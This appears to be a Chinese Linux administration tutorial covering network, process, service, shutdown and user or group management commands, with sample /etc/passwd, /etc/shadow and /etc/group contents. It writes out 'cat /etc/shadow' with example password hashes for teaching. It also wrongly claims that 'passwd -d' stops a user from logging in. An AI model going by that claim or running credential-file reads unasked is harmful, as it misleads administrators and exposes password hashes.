强制使用指定的协议族-4,指定使用的网络层协议是IPv4协议-6,指定使用的网络层协议是IPv6协议-B,指定使用的网络层协议是Bridge协议-D,指定使用的网络层协议是decnet协议-M,指定使用的网络层协议是mpls协议-0,指定使用的网络层协议是link协议-i,指定使用的网络层协议是ipx协议-d,输出更详细的信息-o,-oneline,输出信息每条记录输出一行,即使内容较多也不换行显示-r,-resolve,显示主机时,不使用IP地址,而使用主机的域名-l,-loops,指定"ip地址刷新"的最大循环数.如果设置为0,那么将会一直尝试,直到所哟地址被移除.-t,-timestamp,当使用监视器选项时,输出时间戳-a,-all,执行指定命令给所有对象(如果命令支持这个选项)-c,-color,使用颜色输出ip command语法:object包括: address:网络设备的IP(v4或者v6)地址信息 link :网络设备信息 maddress:多播地址 mourte:组播路由缓存条目 monitor:监控网络链接消息 netns:管理网络命名空间 ntable:管理邻居表缓存操作 neighbour:邻居表 route:路由表 rule:IP策略 tunnel:IP隧道 tuntap:管理tun/tap设备COMMAND包括: add:新增 delete:删除 show(or list):显示 set:设置参数 使用方法 1.查看IP地址信息 12345678910111213141516171819202122[root@192 ~]# ip address show ##1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever ##以上是lo(本地回环网卡)的信息,它只是代表我们的网络协议正常,就算不插入网线也可以ping通,所以没有实际意义.2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:22:2b:04 brd ff:ff:ff:ff:ff:ff ##MAC地址 inet 192.168.111.130/24 brd 192.168.111.255 scope global noprefixroute dynamic ens33 ##IP地址和子网掩码 valid_lft 1274sec preferred_lft 1274sec inet6 fe80::756e:e00:e05e:e2f7/64 scope link noprefixroute valid_lft forever preferred_lft forever ##以上是ens33网卡的信息3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000 link/ether 52:54:00:8b:10:e4 brd ff:ff:ff:ff:ff:ff4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000##这个命令可以进行简写 ip add这个命令主要可以查看MAC地址、IP地址和子网掩码这三个信息,其他内容如IPV6的信息目前还没有生效,可以忽略 2.查看路由表 12345[root@192 ~]# ip route showdefault via 192.168.111.2 dev ens33 proto dhcp metric 100 ##此为网关192.168.111.0/24 dev ens33 proto kernel scope link src 192.168.111.130 metric 100 ##这个命令简写为 ip route 2. ifconfig命令12345678命令名称:ifconfig命令英文原意:interface configure命令路径:/sbin/ifconfig执行权限:root语法:ifconfig 网卡名称 IP地址功能描述:查看和设置网卡信息 没有该命令,可以通过 yum provides ifconfig命令安装 1.查看IP地址 123456789101112131415161718192021222324252627282930313233[root@192 ~]# ifconfigens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500#ens33网卡信息 网络参数 最大传输单元 inet 192.168.111.130 netmask 255.255.255.0 broadcast 192.168.111.255 #IP地址 #子网掩码 #广播地址 inet6 fe80::756e:e00:e05e:e2f7 prefixlen 64 scopeid 0x20<link> #IPv信息,目前未生效 ether 00:0c:29:22:2b:04 txqueuelen 1000 (Ethernet) #MAC地址 RX packets 36975 bytes 3483314 (3.3 MiB) #接收的数据包大小 RX errors 0 dropped 0 overruns 0 frame 0 TX packets 33822 bytes 25432748 (24.2 MiB) #发送的数据包大小 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536#本地回环网卡信息 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 2660 bytes 226556 (221.2 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 2660 bytes 226556 (221.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 52:54:00:8b:10:e4 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 3. ifup和ifdown命令ifup和ifdown是两个非常简单的命令,其作用类似于Windows中的启用和禁用网卡,主要用于启用和关闭网卡 12[root@192 ~]# ifdown eth0 #关闭eth0网卡[root@192 ~]# ifup eth0 #启用eth0 网卡 4. ping命令ping命令是常用的网络命令,主要通过ICMP进行网络探测,测试网络中主机的通信情况 12345678命令名称:ping命令路径:/bin/ping执行权限:所有用户语法:ping 选项 ip地址 -c 指定发送次数 -b 后面加入广播地址,用于对整个网段进行探测 -s 字节:指定探测包的大小功能描述:测试网络连通性 123root@localhost test]# ping 192.168.2.156 #测试到主机的连通性,按Ctrl+C后结束测试root@localhost test]# ping -c 3 192.168.111.1 #指定ping的次数root@localhost test]# ping -b -c 3 192.168.111.255 #探测网段可用主机 5. ss命令在CentOS7,可以通过ss命令取代netstat命令. 12345678910命令名称:ss命令路径:/usr/sbin/ss执行权限:超级用户语法:ss 选项 -a:列出所有网络状态,包括Socket程序 -n:使用IP地址和端口号显示,不使用域名和服务名 -p:显示PID和程序名 -t:显示TCP端口的连接状态 -u:显示UDP端口的连接状态功能描述:查询网络访问 123456root@localhost test]# ss -an #查看本机所有的网络连接,包括Scoket程序连接,TCP连接,UDP连接root@localhost test]# ss -tuln #查询本机开启的端口,tu代表查看TCP和UDP连接,l代表查看监听状态,n代表用IP和端口号显示.root@localhost test]# ss -tuan ##查看本机开启的端口与正在进行的连接## -a 代表所有内容,和-l选项的区别是,-a选项除了可以看到监听状态的端口,还可以查看正在连接的端口.如果只使用-an会列出大量的Scoket连接,干扰查看,使用-tuan可以只显示TCP和UDP的连接状态. 6. netstat命令1234567891011121314命令名称:netstat命令路径:/bin/netstat执行权限:所有用户语法:netstat [选项]功能描述:输出网络连接、路由器、接口统计、伪装连接和组播成员选项: -a: 列出所有网络状态,包括Socket程序 -c 秒数:指定每隔几秒刷新一次网络状态 -t: TCP协议 通过3次握手后连通 -u: UDP协议 不握手直接发送信息 -l: 显示监听状态的连接 -r: 路由表 -n: 显示IP地址和端口号,不使用域名与服务名 -p: 显示PID和程序名 端口的作用:在互联网中,如果IP地址是服务器在互联网中唯一的地址标识,那么想象一下,我有一台服务器,它有固定的公网IP地址,通过IP地址可以找到我的服务器.但是我的服务器中既启动了网页服务(WEB服务),又启动了文件传输服务(FTP服务),那么你的客户端访问我的服务器,到底应该如何确定你访问的是哪一个服务? 端口就是用于网络通信的接口,是传输层向上传递数据到应用层的通道.我们可以理解为每个常规服务都有默认的端口号,通过不同的端口号,就可以确定不同的服务.这样,互联网上的数据流就能准确地到达我们期望的服务,实现了不同服务之间的有效区分和协同工作. 123[root@localhost ~]# netstat -tuln ##查看本机开启的端口[root@localhost ~]# netstat -tulnp ##查看本机有哪些程序开启的端口[root@localhost ~]# netstat -an ##查看所有连接 7. lsof lsof(List Open Files)是一个用于显示系统中已打开文件的工具,包括网络套接字、设备文件等. 通过lsof命令,你可以查看哪些进程打开了哪些文件、套接字,以及它们所占用的资源情况. 基本语法lsof的基本语法是: 1lsof [option] [file | directory | process ID] option:用于指定一些选项,如-i用于显示网络连接. file | directory | process ID:可选参数,用于过滤显示的结果. 主要功能 显示打开文件的进程: lsof [file]:显示指定文件相关的进程信息. lsof [directory]:显示指定目录相关的进程信息. 网络连接查询: lsof -i:显示所有打开的网络连接和套接字信息. 按进程ID过滤: lsof -p [process ID]:显示特定进程ID打开的文件和套接字. 按用户过滤: lsof -u [username]:显示指定用户打开的文件和套接字. 例子和用法 显示所有打开文件的进程: 1lsof 显示指定文件相关的进程信息: 1lsof /path/to/file 显示网络连接和套接字信息: 1lsof -i 系统级别的操作 查找占用端口的进程: 1lsof -i :[port] 查看已删除的文件被哪个进程占用: 1lsof +L1 8. scp scp(Secure Copy Protocol)是一个用于在本地和远程系统之间安全地传输文件的命令行工具. scp通过SSH协议进行数据传输,提供加密和认证的安全性. 基本语法scp的基本语法是: 1scp [options] [source] [destination] options:可选参数,用于指定一些选项,如-r用于递归复制. source:源文件或目录的路径. destination:目标路径,可以是本地路径或远程主机路径. 主要功能 从本地到远程的复制: scp [source] [user@remote_host:destination] 从远程到本地的复制: scp [user@remote_host:source] [destination] 递归复制: scp -r [source_directory] [user@remote_host:destination_directory] 指定端口: scp -P [port] [source] [user@remote_host:destination] 例子和用法 从本地到远程的复制: 1scp file.txt root@192.168.64.123:/path/to/destination/ 从远程到本地的复制: 1scp root@192.168.64.123:/path/to/source/file.txt /local/destination/ 递归复制: 1scp -r folder root@192.168.64.123:/path/to/destination/ 注意事项 scp是基于SSH的,确保远程主机支持SSH. 当传输大量文件或文件夹时,使用-r选项以递归方式复制. 9. nmtui 命令名称: nmtui 命令路径: /usr/bin/nmtui 执行权限: root权限执行. 语法:nmtui 进程管理命令1. ps 查看进程信息 基本语法 ps [options] 主要功能 ps命令用于显示当前运行的进程信息. 通过不同的选项可以指定显示不同类型的进程信息. 例子和用法 显示所有用户的详细进程信息: 12345ps aux[root@localhost ~]# ps auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.3 193688 6216 ? Ss 14:12 0:03 /usr/lib/systemd/systemd --switched-root --system --desroot 2 0.0 0.0 0 0 ? S 14:12 0:00 [kthreadd]root 4 0.0 0.0 0 0 ? S< 14:12 0:00 [kworker/0:0H] USER: 显示进程的拥有者,即运行进程的用户. PID: 进程ID,是每个进程的唯一标识符. %CPU: 进程占用CPU的百分比,表示进程在CPU上的利用率. %MEM: 进程占用内存的百分比,表示进程在物理内存上的利用率. VSZ: 进程的虚拟内存大小(以KB为单位),包括进程使用的所有虚拟内存. RSS: 进程使用的实际物理内存大小(以KB为单位),即驻留集大小. TTY: 与进程关联的终端类型,如果没有终端与之关联,则显示?. STAT: 进程状态,常见的包括: S(Sleeping): 进程休眠中. R(Running): 进程正在运行. D(Disk sleep): 进程不可中断的休眠. Z(Zombie): 僵尸进程,进程已经终止,但其父进程尚未回收其资源. START: 进程启动的时间,显示时钟时间或者日期. TIME: 进程占用CPU的累计时间,显示格式为分钟:秒. COMMAND: 启动进程的命令行. 查找特定进程的详细信息: 1ps aux | grep process_name 2. top 实时查看系统进程 基本语法top 主要功能 top命令提供了实时显示系统中运行的进程及其资源占用情况的功能. 以动态更新的方式展示进程列表和各项资源使用情况. 例子和用法实时显示运行中的进程列表和系统资源使用情况: 123456789101112toptop - 16:22:40 up 2:09, 2 users, load average: 0.00, 0.02, 0.05Tasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie%Cpu(s): 0.0 us, 0.2 sy, 0.0 ni, 99.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 stKiB Mem : 1863028 total, 131844 free, 496824 used, 1234360 buff/cacheKiB Swap: 2097148 total, 2095348 free, 1800 used. 1170648 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 18724 root 20 0 0 0 0 S 1.0 0.0 0:00.07 kworker/1:2 705 root 20 0 21684 1296 992 S 0.7 0.1 0:01.40 irqbalance 419 root 20 0 0 0 0 S 0.3 0.0 0:12.38 xfsaild/dm-0 系统概况部分: top - 16:22:40 up 2:09, 2 users, load average: 0.00, 0.02, 0.05 16:22:40: 当前系统时间. up 2:09: 系统运行时间,2小时9分钟. 2 users: 当前登录的用户数. load average: 0.00, 0.02, 0.05: 系统负载,分别表示1分钟、5分钟和15分钟的负载平均值. 任务信息部分: Tasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie 116 total: 总任务数. 1 running: 正在运行的任务数. 115 sleeping: 休眠中的任务数. 0 stopped: 停止的任务数. 0 zombie: 僵尸任务数. CPU使用情况部分: %Cpu(s): 0.0 us, 0.2 sy, 0.0 ni, 99.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st %Cpu(s): CPU使用率. us: 用户空间占用CPU的百分比. sy: 内核空间占用CPU的百分比. ni: 用户进程以优先级调整过的时间. id: CPU空闲时间. wa: CPU等待I/O操作的时间. hi: CPU处理硬中断的时间. si: CPU处理软中断的时间. st: 被虚拟机偷取的时间. 内存使用情况部分: KiB Mem: 1863028 total, 131844 free, 496824 used, 1234360 buff/cache 1863028 total: 总内存大小. 131844 free: 空闲内存大小. 496824 used: 已使用内存大小. 1234360 buff/cache: 用作缓存的内存大小. KiB Swap: 2097148 total, 2095348 free, 1800 used. 1170648 avail Mem 2097148 total: 总交换空间大小. 2095348 free: 空闲交换空间大小. 1800 used: 已使用的交换空间大小. 1170648 avail Mem: 可用于分配的内存大小. 进程列表部分: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND PID: 进程ID. USER: 进程所属用户. PR: 进程的优先级. NI: 进程的优先级值(负值表示高优先级,正值表示低优先级). VIRT: 进程使用的虚拟内存大小. RES: 进程使用的实际物理内存大小. SHR: 进程使用的共享内存大小. S: 进程状态(详见man top中的PROCESS STATES). %CPU: 进程占用CPU的百分比. %MEM: 进程占用内存的百分比. TIME+: 进程累计占用CPU的时间. COMMAND: 启动进程的命令行. 安全性和权限 top通常需要超级用户权限,或者用户拥有特定的权限组(如proc组). 注意事项 提供交互式界面,方便实时监控系统性能. 结合不同选项使用,可以按需查看各项资源使用情况. 3. Kill kill命令用于终止或向进程发送信号,是 Linux 系统中进程管理的重要工具.通过 kill 命令,用户可以控制和管理运行中的进程. 基本语法kill的基本语法如下: 1kill [options] <PID> options:可选参数,用于指定发送的信号类型等. <PID>:进程ID,表示要操作的目标进程. 主要功能 终止进程: kill 主要用于终止运行中的进程,通过向目标进程发送信号来实现. 例子和用法 向进程发送默认信号(SIGTERM): 1kill 1234 向进程发送指定信号(SIGKILL): 1kill -9 5678 系统级别的操作 终止指定进程: 1kill 1234 安全性和权限 kill命令需要执行用户对目标进程的操作权限,通常需要与目标进程拥有相同的用户权限. 注意事项 在终止进程时,使用不同的信号可能导致不同的行为,谨慎选择信号类型. 使用 -9 选项(SIGKILL)将强制终止目标进程,但可能导致数据丢失,应慎用. 系统管理1. Systemctl命令 systemctl是一个用于控制systemd系统和服务的命令行工具. systemd是现代Linux系统的初始化系统,负责启动和管理系统上运行的服务. systemctl命令可用于查看和控制服务、查看系统日志以及执行其他系统管理任务. 基本语法systemctl的基本语法是: 1systemctl [option] [command] [unit] option:用于指定一些全局选项. command:指定要执行的操作,如start、stop、restart等. unit:可选参数,指定服务或其他系统单元的名称. 主要功能 服务管理: start [unit]:启动服务. stop [unit]:停止服务. restart [unit]:重新启动服务. status [unit]:查看服务状态. enable [unit]:设置服务为开机自启. disable [unit]:禁止服务开机自启. 系统状态查询: journalctl:查看系统日志. list-units:显示当前活动的系统单元. analyze:查看系统加载时间和性能. 单元文件管理: list-unit-files:列出所有可用的单元文件. show [unit]:显示单个单元文件的详细信息. 例子和用法 启动和停止服务: 12systemctl start apache2systemctl stop apache2 查看服务状态: 1systemctl status apache2 查看系统日志: 1journalctl 2. Service service命令是用于在Unix-like操作系统中管理系统服务的脚本工具.它提供了一种简单的方式来启动、停止、重新启动和查询系统服务的状态. 基本语法service的基本语法是: 1service [option] serviceName [command] option:用于指定一些全局选项. serviceName:指定服务的名称. command:可选参数,指定要执行的操作,如start、stop、restart等. 主要功能 服务管理 start [serviceName]:启动服务. stop [serviceName]:停止服务. restart [serviceName]:重新启动服务. status [serviceName]:查看服务状态. enable [serviceName]:设置服务为开机自启. disable [serviceName]:禁止服务开机自启. 例子和用法 启动和停止服务: 12bashCopy codeservice apache2 startservice apache2 stop 查看服务状态: 12bashCopy codeservice apache2 status 重新启动服务: 12bashCopy codeservice apache2 restart 通过 service 命令,可以方便地管理系统服务的运行状态. 3. 关机重启命令 说到关机和重启,很多人认为,重要的服务器(比如银行的服务器、电信的服务器),如果重启了,则会造成大范围的灾难,其实,银行或电信服务器,也是需要维护,是依靠备份服务器来代替,如果你有自己的经验,则完全可以按照自己的经验来维护服务器. shutdown123456[root@localhost test]# shutdown [选项] 时间选项: -c:取消前一个关机命令 -h:关机 -r:重启 123456789101112[root@localhost test]# shutdown -h now #表示现在关机 [root@localhost test]# shutdown -h 20:00 #表示晚上8点关机 [root@localhost test]# shutdown -r 20:00 #表示晚上8点重启 [root@localhost test]# shutdown -c #表示取消关机命令 [root@localhost test]# shutdown +5 "System will shutdown after 5 minutes" #设定5分钟后关机,并发警告信息给登录用户 其他关机指令123[root@localhost test]# halt #直接关机[root@localhost test]# poweroff #相当于直接断电 [root@localhost test]# init 0 #修改运行级别为关机 其他重启命令12[root@localhost test]# reboot #重启 [root@localhost test]# init 6 #修改运行级别为重启 用户和用户组管理 **Linux系统**是一个**多用户多任务**的**分时操作系统**.用户在使用系统资源之前,需向系统管理员申请一个账号,并以此账号的身份进入系统.账号有助于系统管理员跟踪用户活动、控制他们对系统资源的访问,同时也帮助用户组织文件并提供安全性保护. 每个用户账号都有**唯一的用户名和相应的口令**.用户通过输入**正确的用户名和口令**进行登录,随后可以进入系统并访问自己的主目录.这种安排有助于实现对系统资源的合理管理和用户身份的认证. 实现用户账号的管理,要完成的工作主要有如下几个方面: 用户账号的添加、删除与修改. 用户口令的管理. 用户组的管理. 用户管理1. useradd12345678910111213141516命令名称:useradd命令路径:/usr/sbin/useradd执行权限:root语法:useradd 用户名功能描述:添加新用户 用户名不要弄的太复杂useradd [选项] [用户名]选项: -c comment 指定一段注释性描述. -d 目录 指定用户主目录,如果此目录不存在,则同时使用-m选项,可以创建主目录. -g 用户组 指定用户所属的用户组. -G 用户组,用户组 指定用户所属的附加组. -s Shell文件 指定用户的登录Shell. -u 用户号 指定用户的用户号,如果同时有-o选项,则可以重复使用其他用户的标识号.用户名:指定新账号的登录名. 12345678实例1[root@localhost ~]# useradd –d /home/sam -m sam此命令创建了一个用户sam,其中-d和-m选项用来为登录名sam产生一个主目录 /home/sam(/home为默认的用户主目录所在的父目录).实例2[root@localhost ~]# useradd -s /bin/sh -g group –G adm,root gem 此命令新建了一个用户gem,该用户的登录Shell是 /bin/sh,它属于group用户组,同时又属于adm和root用户组,其中group用户组是其主组.这里可能新建组:[root@localhost ~]#groupadd group及groupadd adm 增加用户账号就是在/etc/passwd文件中为新用户增加一条记录,同时更新其他系统文件如/etc/shadow, /etc/group等. Linux提供了集成的系统管理工具userconf,它可以用来对用户账号进行统一管理. 2. userdel如果一个用户的账号不再使用,可以从系统中删除.删除用户账号就是要将/etc/passwd等系统文件中的该用户记录删除,必要时还删除用户的主目录.删除一个已有的用户账号使用userdel命令,其格式如下: 12345userdel [选项] [用户名]常用的选项是 -r,它的作用是把用户的主目录一起删除.例如:[root@localhost ~]# userdel -r sam 此命令删除用户sam在系统文件中(主要是/etc/passwd, /etc/shadow, /etc/group等)的记录,同时删除用户的主目录. 3. usermod修改用户账号就是根据实际情况更改用户的有关属性,如用户号、主目录、用户组、登录Shell等.修改已有用户的信息使用usermod命令,其格式如下: 123456usermod [选项] [用户名]常用的选项包括-c, -d, -m, -g, -G, -s, -u以及-o等,这些选项的意义与useradd命令中的选项一样,可以为用户指定新的资源值.另外,有些系统可以使用选项:-l 新用户名这个选项指定一个新的账号,即将原来的用户名改为新的用户名.例如:[root@localhost ~]# usermod -s /bin/ksh -d /home/z –g developer sam此命令将用户sam的登录Shell修改为ksh,主目录改为/home/z,用户组改为developer. 4. passwd用户管理的一项重要内容是用户口令的管理.用户账号刚创建时没有口令,但是被系统锁定,无法使用,必须为其指定口令后才可以使用,即使是指定空口令.指定和修改用户口令的Shell命令是passwd.超级用户可以为自己和其他用户指定口令,普通用户只能用它修改自己的口令. 1234567891011121314命令名称:passwd命令路径:/usr/bin/passwd执行权限:所有用户语法:passwd 用户名功能描述:设置用户密码 命令的格式为:passwd [选项] [用户名]选项:-l 锁定口令,即禁用账号.-u 口令解锁.-d 使账号无口令.-f 强迫用户下次登录时修改口令.如果默认用户名,则修改当前用户的口令. 1234567891011案例假设当前用户是sam,则下面的命令修改该用户自己的口令:[root@localhost ~]$ passwd Old password:****** New password:******* Re-enter new password:******* 如果是超级用户,可以用下列形式指定任何用户的口令: [root@localhost ~]# passwd sam New password:******* Re-enter new password:******* ##注意:普通用户只能修改自己的密码,且必须符合复杂度的要求.密码规则:最少8位,大小写字母,数字符号组合 为了系统安全起见,用户应该选择比较复杂的口令,例如最好使用8位长的口令,口令中包含有大写、小写字母和数字,并且应该与姓名、生日等不相同。 为用户指定空口令时,执行下列形式的命令 12[root@localhost ~]# passwd -d sam 此命令将用户 sam 的口令删除,这样用户 sam 下一次登录时,系统就不再允许该用户登录了 . passwd命令还可以用 -l(lock) 选项锁定某一用户 ,使其不能登录 1[root@localhost ~]# passwd -l sam 5. who1234567891011命令名称:who命令路径:/usr/bin/who执行权限:所有用户语法:who功能描述:查看当前登录用户信息 [root@localhost test]# who root pts/1 2021-12-07 14:14 (192.168.47.1) 解释:登录用户名 终端终端 tty本地终端 / pts远程终端 登录时间 IP地址 6. whoami12345678命令名称:whoami命令路径:/usr/bin/whoami执行权限:所有用户语法:whoami功能描述:显示当前登录用户的用户名.该命令用于查询当前登录到系统的用户的用户名,并将其显示在终端上.不需要任何参数,仅输入 whoami 即可获取当前用户的身份信息.这对于确认当前用户身份在进行操作时非常有用. 7. id1234567891011121314151617181920命令名称:id命令路径:/usr/bin/id执行权限:所有用户语法:id [选项] [用户名]功能描述:显示用户或组的身份标识.主要选项:-u:显示用户ID.-g:显示用户所属的组ID.-G:显示用户所属的所有组ID.-n:以名称而非数字形式显示ID.-r:显示实际用户ID.示例:id:显示当前用户的用户ID、组ID及所属的所有组ID.id -u:仅显示当前用户的用户ID.id -g:仅显示当前用户所属的组ID.id -G:显示当前用户所属的所有组ID.id -n:以名称形式显示用户和组的ID.id -r:显示实际用户ID. 8. su12345678910111213141516171819命令名称:su命令路径:/bin/su执行权限:所有用户语法:su [选项] [用户]功能描述:切换用户身份.主要选项:-:切换到目标用户的环境,包括工作目录和环境变量.-c command:执行完指定命令后,切回原用户.-l 或 --login:切换到目标用户的环境.-m 或 --preserve-environment:不修改环境变量.-s shell:指定要使用的shell.示例:su:切换到超级用户(root).su -:切换到超级用户的环境.su -l username:切换到指定用户的环境.su -c "command":以指定用户执行命令.su -s /bin/bash:切换到指定shell. 用户组管理每个用户都有一个用户组,系统可以对一个用户组中的所有用户进行集中管理.不同Linux 系统对用户组的规定有所不同,如Linux下的用户属于与它同名的用户组,这个用户组在创建用户时同时创建.用户组的管理涉及用户组的添加、删除和修改.组的增加、删除和修改实际上就是对/etc/group文件的更新. 1. groupadd12345其格式如下: groupadd [选项] [用户组] 选项: -g GID 指定新用户组的组标识号(GID). -o 一般与-g选项同时使用,表示新用户组的GID可以与系统已有用户组的GID相同. 123456范例1:[root@localhost ~]# groupadd group1 此命令向系统中增加了一个新组group1,新组的组标识号是在当前已有的最大组标识号的基础上加1.范例2:[root@localhost ~]# groupadd -g 101 group2 此命令向系统中增加了一个新组group2,同时指定新组的组标识号是101. 2. groupdel123456其格式如下:groupdel [用户组]范例:[root@localhost ~]# groupdel group1此命令从系统中删除组group1. 3. groupmod12345678910111213其语法如下:groupmod [选项] [用户组]选项:-g GID 为用户组指定新的组标识号.-o 与-g选项同时使用,用户组的新GID可以与系统已有用户组的GID相同.-n新用户组 将用户组的名字改为新名字范例1:[root@localhost ~]# groupmod -g 102 group2此命令将组group2的组标识号修改为102.范例2:[root@localhost ~]# groupmod –g 10000 -n group3 group2此命令将组group2的标识号改为10000,组名修改为group3. 4. newgrp一个用户同时属于多个用户组,那么用户可以在用户组之间切换,以便具有其他用户组的权限.用户可以在登录后,使用命令newgrp切换到其他用户组,这个命令的参数就是目的用户组.例如: 12[root@localhost ~]$ newgrp root 这条命令将当前用户切换到root用户组,前提条件是root用户组确实是该用户的主组或附加组.类似于用户账号的管理,用户组的管理也可以通过集成的系统管理工具来完成. 与用户账号有关的系统文件完成用户管理的工作有多种方法,但每一种方法实际上都涉及对相关的系统文件进行修改.与用户和用户组相关的信息存放在一些系统文件中,其中包括 /etc/passwd、/etc/shadow、/etc/group等.接下来将分别介绍这些文件的内容. 1. /etc/passwd文件/etc/passwd 文件是用户管理工作中涉及的最重要的文件之一.每个用户在Linux系统中都有一个对应的记录行,该行包含了用户的基本属性.这个文件对所有用户都是可读的,而其内容则类似于下面的例子: 123456789101112[root@localhost ~]# cat /etc/passwd root:x:0:0:Superuser:/:daemon:x:1:1:System daemons:/etc:bin:x:2:2:Owner of system commands:/bin:sys:x:3:3:Owner of system files:/usr/sys:adm:x:4:4:System accounting:/usr/adm:uucp:x:5:5:UUCP administrator:/usr/lib/uucp:auth:x:7:21:Authentication administrator:/tcb/files/auth:cron:x:9:16:Cron daemon:/usr/spool/cron:listen:x:37:4:Network daemon:/usr/net/nls:lp:x:71:18:Printer administrator:/usr/spool/lp:sam:x:200:50:Sam san:/home/sam:/bin/sh 每个字段的含义: 用户名 (john): 用户的登录名. 密码占位符 (x): 在过去,密码是存储在这里的,现在通常被放置在 /etc/shadow 文件中. 用户ID (1000): 用户的唯一标识符. 组ID (1000): 用户所属的主要用户组的标识符. 用户描述 (John Doe): 一般是用户的真实姓名或其他描述性信息. 用户家目录 (/home/john): 用户的主目录,登录时的初始工作目录. 登录Shell (/bin/bash): 用户登录时启动的Shell. 通过修改这个文件中的记录,可以更改用户的属性,但需要小心,因为直接编辑可能会导致系统不稳定.通常,用户和组的管理最好使用专门的命令工具,如useradd、userdel、usermod等. 伪用户(PseudoUsers) 在系统中,存在一类称为伪用户(pseudo users)的特殊用户.虽然它们在 /etc/passwd 文件中有一条记录,但由于其登录Shell为空,因此这些用户无法进行登录.它们的存在主要为了方便系统管理,并满足系统进程对文件属主的特定要求. 常见的伪用户及其含义: bin: 拥有可执行的用户命令文件. sys: 拥有系统文件. adm: 拥有帐户文件. uucp: 用于UUCP(Unix to Unix Copy)通信协议. lp: 用于lp或lpd子系统,负责打印服务. nobody: 用于NFS(Network File System)服务,通常用于执行不涉及安全问题的服务. 2. /etc/shadow 伪用户和安全性 除了之前提到的标准伪用户(如bin、sys、adm等),Linux系统还包含许多其他伪用户,如audit、cron、mail、usenet等.这些伪用户与系统中相关的进程和文件密切相关. 口令文件的安全性 用户口令在 /etc/passwd 文件中可读,因此如果密码简单或者规律性强,存在被破解的风险.为提高安全性,Linux系统将加密后的口令分离存储在独立文件中,即 /etc/shadow 文件.该文件只有超级用户有读权限,确保了用户密码的安全性. /etc/shadow 文件中的记录行与 /etc/passwd 中的用户一一对应,由 pwconv 命令根据 /etc/passwd 中的数据自动生成.记录行包含以下字段: 登录名: 与 /etc/passwd 中的登录名一致. 加密口令: 存放加密后的用户口令. 最后一次修改时间: 用户最后一次修改口令时的天数. 最小时间间隔: 两次修改口令之间所需的最小天数. 最大时间间隔: 口令保持有效的最大天数. 警告时间: 从系统开始警告用户到口令失效之间的天数. 不活动时间: 用户没有登录活动但账号仍能保持有效的最大天数. 失效时间: 给出账号的生存期,期满后账号不再合法. 这样的分离增强了系统的安全性,防止直接读取口令文件导致的安全问题. 下面是/etc/shadow的一个例子: 12345678910111213[root@localhost ~]# cat /etc/shadowroot:Dnakfw28zf38w:8764:0:168:7:::daemon:*::0:0::::bin:*::0:0::::sys:*::0:0::::adm:*::0:0::::uucp:*::0:0::::nuucp:*::0:0::::auth:*::0:0::::cron:*::0:0::::listen:*::0:0::::lp:*::0:0::::sam:EkdiSECLWPdSa:9740:0:0:::: 3. /etc/group用户组信息存储在/etc/group文件中.在Linux系统中,将用户分组是对用户进行管理和控制访问权限的一种方式.每个用户属于一个主组,并可以属于多个附加组.用户要访问属于附加组的文件时,需要使用newgrp命令成为所要访问组的成员. /etc/group文件的格式与/etc/passwd类似,由冒号(:)隔开若干字段,包括: 组名: 用户组的名称,由字母或数字构成,不应重复. 口令: 用户组加密后的口令字,一般为空. 组标识号: 用于系统内部标识组的整数. 组内用户列表: 属于这个组的所有用户,用逗号(,)分隔,可能是主组或附加组. 以下是/etc/group文件的示例: 1234567root::0:rootbin::2:root,binsys::3:root,uucpadm::4:root,admdaemon::5:root,daemonlp::7:root,lpusers::20:root,sam","tags":["Centos","Linux","计算机基础"]},{"title":"一. 计算机基础知识","path":"/2020/06/01/f5d15284/","content":"总字符数: 15.38K 代码: 0.40K, 文本: 9.31K 预计阅读时间: 42 分钟 计算机基础计算机发展历史 1946年第一台电子数字计算机ENIAC由美国宾夕法尼亚大学研制成功. 它是一个庞然大物,共有18000个电子管、 1500个继电器,耗电150kw,重量30t,占地170平方米,运算速度为每秒5000次加法或400次乘法.它的诞生在人类文明史上具有划时代的意义,奠定了计算机的发展基础,成为计算机发展史上的一个重要里程碑,开辟了计算机科学的新纪元. 从第一台计算机诞生至今已有70多年的时间,计算机的基本构成元件经历了电子管、晶体管、集成电路、大规模集成电路和超大规模集成电路4个发展时代. 第一代 电子管计算机第一代计算机(1946–1957年)使用电子管作为主要电子元件,其主要特点是体积大、耗电多、重量重、性能低,且成本很高. 第一代电子计算机以电子管(真空管)为主要电路元件. 世界上第一台电子计算机是个庞然大物:重30余吨,占地约170平方米,肚子里装有18000只电子管.它是1946年2月14日,在美国宾夕法尼亚大学诞生的. 这一代计算机的主要标志时: 确立了模拟量可以变换成数字量进行计算,开创了数字化技术的新时代; 形成了电子数字计算的基本结构,即冯·诺依曼结构; 确定了程序设计的基本方法,采用机器语言和汇编语言编程; 首次使用阴极射线管CRT作为计算机的字符显示器. 第二代 